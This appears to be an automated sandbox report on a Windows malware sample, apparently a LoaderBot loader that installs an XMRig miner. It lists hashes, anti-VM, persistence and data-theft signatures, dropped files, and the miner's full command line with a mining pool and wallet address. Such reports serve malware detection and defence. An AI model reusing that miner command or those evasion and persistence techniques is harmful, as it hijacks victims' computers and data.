Analysis
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max time kernel
87s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
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submitted
22-10-2023 12:51
General
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Target
b1f7d94305e0f729964239a69bffe320.exe
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Size
501KB
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MD5
b1f7d94305e0f729964239a69bffe320
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SHA1
2fb02ffda0ce1fc5d719b9b79f2cdc2a0ead863a
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SHA256
99bba4b98096259772dc0c12f0ebb3b3ff275f4babf75caa380e94e3dbed90c9
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SHA512
3d6089b7b0f430020bb3a21e21aedbff81c28e8e97bb44c8b0fd6af1ea4bf6356a34b9bdf56bcdf51533dab48fa6446b825e1dbaa8ed38b380222f81bca03a45
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SSDEEP
12288:VFTTWyVmRw8r6+y3QqBZAnYanJ252Wjx1ZP2BJ4iP:VFxVn8m+y3QqBZ6RK11Zw4q
Malware Config
Signatures
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LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
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LoaderBot executable 1 IoCs
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XMRig Miner payload 14 IoCs
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Downloads MZ/PE file
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 1 IoCs
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Executes dropped EXE 2 IoCs
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Themida packer 3 IoCs
Detects Themida, an advanced Windows software protection system.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Checks whether UAC is enabled 1 TTPs 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious behavior: LoadsDriver 1 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\b1f7d94305e0f729964239a69bffe320.exe"C:\Users\Admin\AppData\Local\Temp\b1f7d94305e0f729964239a69bffe320.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\sacubpvoqssabvrgemg.exe"C:\Users\Admin\AppData\Local\Temp\sacubpvoqssabvrgemg.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 43⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 43⤵
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3.4MB
MD565af1033a01110ec64468bacbe3a7607
SHA19d1f8c17ce63803245c02a0e679ccde3fafcd48a
SHA2562531116b30534eb043a27f83fb4abdec24d212cf58673c117850256510f21264
SHA5129cd3932957dbf748793b9529e1f051532503c4cdef81f67cf86679b8415b92f90fbcae6f2473fb6c125de570dca0e501d11fca37ce4a9b8f554c8e22db322e54
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Filesize
3.4MB
MD565af1033a01110ec64468bacbe3a7607
SHA19d1f8c17ce63803245c02a0e679ccde3fafcd48a
SHA2562531116b30534eb043a27f83fb4abdec24d212cf58673c117850256510f21264
SHA5129cd3932957dbf748793b9529e1f051532503c4cdef81f67cf86679b8415b92f90fbcae6f2473fb6c125de570dca0e501d11fca37ce4a9b8f554c8e22db322e54
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Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322
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Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322
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Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322
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Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322
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Filesize
960KB
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Filesize
960KB
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Filesize
960KB
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Filesize
960KB
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Filesize
8KB
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Filesize
10.2MB
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Filesize
960KB
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Filesize
10.2MB
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Filesize
960KB
-
Filesize
960KB
-
Filesize
960KB
-
Filesize
960KB
-
Filesize
960KB
-
Filesize
408KB
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Filesize
960KB
-
Filesize
960KB
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Filesize
10.2MB
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Filesize
960KB
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Filesize
11.5MB
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Filesize
11.5MB
-
Filesize
128KB
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Filesize
128KB
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Filesize
128KB
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Filesize
11.5MB
-
Filesize
128KB
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Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
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Filesize
11.5MB
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Filesize
11.5MB
-
Filesize
11.5MB
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Filesize
128KB
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Filesize
11.5MB
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Filesize
11.5MB
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Filesize
11.5MB
-
Filesize
128KB
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Filesize
128KB
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Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
128KB
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Filesize
11.5MB
-
Filesize
128KB
-
Filesize
128KB
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Filesize
128KB
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Filesize
11.5MB
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Filesize
11.5MB
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Filesize
11.5MB
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Filesize
11.5MB
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Filesize
128KB
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Filesize
80KB
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Filesize
11.5MB